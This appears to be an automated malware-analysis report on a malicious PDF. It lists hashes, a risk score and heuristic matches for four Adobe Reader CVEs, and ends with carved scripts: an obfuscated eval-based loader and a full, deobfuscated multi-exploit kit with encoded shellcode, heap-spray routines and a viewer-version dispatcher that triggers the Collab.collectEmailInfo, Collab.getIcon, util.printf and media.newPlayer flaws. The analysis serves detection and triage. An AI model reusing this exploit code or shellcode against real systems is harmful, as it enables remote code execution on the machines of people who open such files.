Malicious PDF — malware analysis report

Static analysis result for SHA-256 d41a004bd84bade1…

MALICIOUS

PDF

78.6 KB Authoring application: ring.fromChar First seen: 2012-10-03
MD5: d32c1430cbe993c7d4806e738e8a1904 SHA-1: fb009df464e341a3fce8fa0576d8922ac8d5dca1 SHA-256: d41a004bd84bade18326d30362967c667e89132b9e4e19f01dc1c4010779fdd3
408 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flagged this PDF as malicious. The embedded JavaScript is likely intended to execute malicious code upon opening the document, although the specific payload could not be determined from the provided evidence. No document body text was available to provide further context on the lure.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x1382F 386 bytes
SHA-256: 9d27a849e0a876ac3ba23f27bc8ddb75b69ebee86bc3666b58f34d0663de713b
Preview script
First 1,000 lines of the extracted script
var l = 'qweqwe'.substr;
var g = l();
t='le';
a=["a","e","k","l","b","z","v"];
e=g[a[1]+a[6]+a[0]+a[3]];
var ioa="";
erd='his';
yxc='tit';
e('yhp=t'+erd+"."+yxc+t);
t='cer'
xkqw='rodu';
e('tnii=t'+erd+".p"+xkqw+t);
xfle=e('St'+tnii+'Code');
qdpp = e(yhp);
e('k=qdpp.length');
for (i = 0; i < k; i+=2) {
	gcixk = qdpp[i] + qdpp[i+1];
	ioa += xfle(gcixk);
}
e(ioa);
legacy_pdfkit_stage_000.js deobfuscated-js metadata Title array pair-sum decoded JavaScript at offset 0x52 3636 bytes
SHA-256: 18b229fdd8f7529cacca8b2aa269bee613e97729b025938adcb2324dd1b39491
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ud034%ue2aa%uc3fa%ue5e8%uffff%u39ff%ud1dc%ud0d0%u518e%u8c3c%ud0d1%u59d0%u5d37%uc09f%ubf5d%ue184%u870b%u8381%u8383%u8383%u8383%u8385%ub883%ud1d4%ud0d0%u8685%ub883%ubebf%ud0d0%ua5b8%ubca2%u84bd%u5eb8%ude9e%u383c%ud098%ud0d0%u3880%ud0ac%ud0d0%u002f%u1453%ub8d8%u3f9f%ud59f%u3880%ud0bc%ud0d0%u002f%u1055%uc7a5%u84ba%u2389%ub87a%u2ea2%uc663%ucd38%ud0d0%u80d0%u8138%ud0d0%u2fd0%u8300%u2eba%u59b8%ud1bf%u386d%ud0d8%ud0d0%u3880%ud0ec%ud0d0%u002f%ue1b0%ub410%u805b%u5be0%udc82%u825b%u5bc4%uf8a2%uc869%ud0d0%ue1d0%ue12f%u7c10%ub1ec%ud2ac%uf0fc%u1f11%ud1dd%u3217%u5120%u8b2f%u9a6c%u5bba%uc092%uc25b%u09a5%u9459%uccf4%u13b1%u5bb0%uf4bc%u5bf4%uec95%u845b%ua8d5%u3ad1%u9a5b%u5bc8%uf08a%u3bd1%ue433%u5b99%u5be4%u3ed1%u2fe1%u10e1%u7c2c%u1054%ud7a4%u1f11%ud1dd%u3b17%ueb24%uf4ac%ua5f8%u5b31%uf48a%u3bd1%u5bb6%u9bdc%u8a5b%ud1cc%u5b3b%u5bd4%u38d1%u9459%uccf4%u12b1%ud0d8%u3f38%u2f2e%ub82f%ua4a4%ueaa0%uffff%ub5bd%ub8b9%ub4a7%ubefe%ua4b5%ub4ff%ua0fe%ua0b8%ub6ef%ue4ed%uf6e8%uedb5%ud0e5';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

Open this report in the interactive analyzer, or submit your own file for analysis.